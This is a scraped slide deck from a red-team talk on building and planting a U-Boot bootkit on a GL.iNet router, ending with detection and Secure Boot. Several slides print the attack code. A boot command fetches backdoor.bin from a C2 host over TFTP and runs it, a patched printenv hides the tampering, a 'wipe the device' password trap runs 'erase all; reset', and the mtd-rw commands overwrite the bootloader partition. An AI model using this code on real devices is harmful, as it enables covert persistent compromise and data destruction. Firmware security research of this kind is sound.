i boot when u boot
play

I Boot when U-Boot @bernardomr (MIA) @_evict 1 / 44 Agenda 1. - PowerPoint PPT Presentation

I Boot when U-Boot @bernardomr (MIA) @_evict 1 / 44 Agenda 1. Introduction 2. The target device 3. The bootkit 4. Defending / Detecting 2 / 44 Introduction Vincent Works at KPN REDteam Likes Linux and low-level stu Located in Amsterdam


  1. I Boot when U-Boot @bernardomr (MIA) @_evict 1 / 44

  2. Agenda 1. Introduction 2. The target device 3. The bootkit 4. Defending / Detecting 2 / 44

  3. Introduction Vincent Works at KPN REDteam Likes Linux and low-level stu� Located in Amsterdam 3 / 44

  4. Introduction Bernardo Works at KPN REDteam Very good at bricking routers TheGoonies CTF player Brazilian, located in Amsterdam, actually there right now. 4 / 44

  5. Goal Demonstrating a bootkit on embedded devices. Learn about embedded device architecture. Having fun! 5 / 44

  6. Bootkit: Advantages Di�cult to detect. Bootloader usually not a�ected by updates. Bypass OS security features. 6 / 44

  7. Bootkit: Disadvantages 7 / 44

  8. The Device 8 / 44

  9. The Device Source: https://www.gl-inet.com/gl-inet6416/ 9 / 44

  10. Preparing the Device 10 / 44

  11. Dumping the �ash 11 / 44

  12. The toolchain You will probably need to cross-compile Crosstool-ng OpenWRT SDK / Imagebuilder 12 / 44

  13. U-Boot Source: https://wikidevi.com 13 / 44

  14. U-Boot variables Stores environment variables on persistent storage Environment variable block size depends on device type /u­boot/include/configs/ap121.h /* * ========================= * Environment configuration * ========================= */ # if defined(CONFIG_FOR_8DEVICES_CARAMBOLA2) ||\ defined(CONFIG_FOR_ALFA_NETWORK_HORNET_UB) ||\ defined(CONFIG_FOR_GL_AR150) # define CFG_ENV_ADDR 0x9F040000 # define CFG_ENV_SIZE 0x8000 # define CFG_ENV_SECT_SIZE 0x10000 # elif defined(CONFIG_FOR_BLACK_SWIFT_BOARD) # define CFG_ENV_ADDR 0x9F020000 # define CFG_ENV_SIZE 0x8000 # define CFG_ENV_SECT_SIZE 0x10000 14 / 44 [...SNIP...]

  15. U-Boot variables bootcmd bootargs loaddr recovery many more 15 / 44

  16. 16 / 44

  17. Interesting features printenv() tftpboot() envstopstr bootcmd ping 17 / 44

  18. Scripts U-Boot scripting language 'Dual-Boot' example: if ping $serverip; then tftpboot $loadaddr backdoor.bin bootm $loadaddr else bootm $fw_addr fi 18 / 44

  19. Backdooring functions printenv Preventing printenv to print all: Function is do_printenv in cmd_nvedit.c Loops through '\0' separated list. 19 / 44

  20. if (argc == 1){ /* Print all env variables */ for (i = 0; env_get_char(i) != '\0'; i = nxt + 1){ for (nxt = i; env_get_char(nxt) != '\0'; ++nxt) { if (env_get_char(nxt) == '=') { variable[c] = '\0'; if (get_match(variable)) { // function pflag=1; // do not print } // function stuff ... for (k = i; k < nxt; ++k){ if (!pflag) { // only print when flag is not set putc(env_get_char(k)); } } if (pflag) { m++; // we have 1 match } if (m == 1) { // first match is bootargs puts("bootargs=console=ttyS0,115200 root=31:0...") } else if (m == 2) { // second match is bootcmds puts("bootcmds=bootm 0x9F020000"); m=0; // this is the last one, reset counter } // function continues.... } } 20 / 44

  21. Backdooring functions bootcmd variable Executed by bootm when device boots Usually an environment variable Overwritten in source 21 / 44

  22. bootcmd u­boot/common/main.c /* Get boot command */ bootcmd = getenv("bootcmd"); # if defined(CONFIG_BOOTCOMMAND) if (!bootcmd) setenv("bootcmd", CONFIG_BOOTCOMMAND); bootcmd = getenv("bootcmd"); # endif bootcmd = "if ping $serverip; then tftpboot $loadaddr backdoor.bin;\ bootm $loadaddr; else bootm $fw_addr; fi"; 22 / 44

  23. U-Boot 'password' protection envstopstr Hidden from user (but not from GNU strings) Wipes device on incorrect try u­boot/common/main.c if (stopstr_len == envstopstr_len) { if (memcmp(envstopstr, stopstr, envstopstr_len) == 0) { abort = 1; bootdelay = 0; break ; } else puts("\nToo bad! Wiping the device\n"); bootcmd = "erase all; reset"; tested = 1; } 23 / 44

  24. Hiding from 'strings' De�ne the string as a byte array Not as hardcoded string char c; char stop[] = { 0x73, 0x75, 0x70, 0x65, 0x72, 0x73, 0x65, 0x63, 0x72, 0x65, 0x74, 0x00 }; char *envstopstr = malloc(strlen(stop)); strcpy(envstopstr, stop); Simple obfuscation technique Will be found with reverse engineering mov byte [ var ], 0x73; mov byte [ var +1], 0x75; mov byte .... 24 / 44

  25. Demo Bypassing the envstopstr protection Glitching the data-in pin. Bootloader is loaded in memory Fallback to bootloader Demo video 25 / 44

  26. Planting the bootkit $ export PATH=/opt/openwrt/toolchain/ toolchain­mips_34kc_gcc­5.3.0_musl­1.1.16/bin/:$PATH $ make bootkit $ binwalk bin/bootkit.bin DECIMAL HEXADECIMAL DESCRIPTION ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ 11672 0x2D98 uImage header, header size: 64 bytes, header CRC: 0x45DE2870, created: 2018­02­25 15:46:34, image size: 57080 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0xA99D818A, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "U­Boot 1.1.4 (Jun 25 2014)" 11704 0x2DB8 U­Boot version string, "U­Boot 1.1.4 (Jun 25 2014)" 11736 0x2DD8 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 156864 bytes 26 / 44

  27. Planting the bootkit Linux Kernel treats "raw �ash memory" chips as MTD (Memory Technology Device) Filesystems on top of the MTD abstraction layer: root@GL­iNet:/mnt/sda1/flash# cat /proc/mtd dev: size erasesize name mtd0: 00020000 00010000 "u­boot" mtd1: 00110024 00010000 "kernel" mtd2: 00ebffdc 00010000 "rootfs" mtd3: 00870000 00010000 "rootfs_data" mtd4: 00010000 00010000 "art" mtd5: 00fd0000 00010000 "firmware" 27 / 44

  28. Planting the bootkit Boot partition commonly mounted as Read Only: https://github.com/lede-project/source/blob/master/target/linux/ar71xx/image/generic.mk#L233-L241 define Device/gl­ar150 DEVICE_TITLE := GL.iNet GL­AR150 DEVICE_PACKAGES := kmod­usb­core kmod­usb2 BOARDNAME := GL­AR150 IMAGE_SIZE := 16000k CONSOLE := ttyATH0,115200 MTDPARTS := spi0.0:256k(u­boot)ro,64k(u­boot­env)ro, 16000k(firmware),64k(art)ro endef TARGET_DEVICES += gl­ar150 28 / 44

  29. Planting the bootkit mtd-rw: https://github.com/jclehner/mtd-rw LKM that sets the MTD_WRITEABLE �ag on all MTD partitions that are marked readonly /linux/include/mtd/mtd­abi.h: # define MTD_WRITEABLE 0x400 /* Device is writeable */ # define MTD_BIT_WRITEABLE 0x800 /* Single bits can be flipped #define MTD_NO_ERASE 0x1000 /* No erase necessary */ #define MTD_POWERUP_LOCK 0x2000 /* Always locked after reset * 29 / 44

  30. Planting the bootkit Overwrite mtd->�ags https://github.com/jclehner/mtd-rw/blob/master/mtd-rw.c static int __init mtd_rw_init ( void ) if (w && !(mtd­>flags & MTD_WRITEABLE)) { printk(MOD_INFO "mtd%d: setting writeable flag\n", n); mtd­>flags |= MTD_WRITEABLE; err = 0; } else if (!w && (mtd­>flags & MTD_WRITEABLE)) { printk(MOD_INFO "mtd%d: clearing writeable flag\n", n); mtd­>flags &= ~MTD_WRITEABLE; err = 0; } 30 / 44

  31. Planting the bootkit Physical access is not required root@GL­iNet:/mnt/sda1# insmod mtd­rw.ko [ 88.660000] mtd­rw: must specify i_want_a_brick=1 to continue kmod: failed to insert mtd­rw.ko root@GL­iNet:/mnt/sda1# insmod mtd­rw.ko i_want_a_brick=1 [ 97.240000] mtd­rw: mtd0: setting writeable flag [ 97.250000] mtd­rw: mtd1: setting writeable flag [ 97.250000] mtd­rw: mtd2: setting writeable flag [ 97.260000] mtd­rw: mtd4: setting writeable flag root@GL­iNet:/mnt/sda1/flash# mtd write backdoor.bin "u­boot" Unlocking u­boot ... Writing from backdoor.bin to u­boot ... 31 / 44

  32. Persistence Malicious kernel / initramFS Served by C2 Only in memory if ping $serverip; then tftpboot $loadaddr backdoor.bin bootm $loadaddr else bootm $fw_addr fi 32 / 44

  33. Demo Dualbooting the device with bootcmd . Pings host, if alive TFTPBoot() jmp to memory address Demo video 33 / 44

  34. Detecting Bootkits U-Boot Reproducible builds Fixed timestamps "In order to achieve reproducible builds in U-Boot, timestamps that are de�ned at build-time have to be somewhat eliminated. The SOURCE_DATE_EPOCH environment variable allows setting a �xed value for those timestamps." https://github.com/lede-project/source/blob/lede-17.01/package/boot/uboot-ar71xx/patches/0001-upstream- Reproducible-U-Boot-build-support-using-SOURCE_DATE_.patch 34 / 44

  35. Detecting Bootkits Chipsec 35 / 44

  36. Secure Boot U-Boot has Secure Boot support Secure Boot by digest / signature 36 / 44

  37. Secure Boot Physical impediments. TPM / Trusted Boot 37 / 44

  38. Secure Boot 38 / 44

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend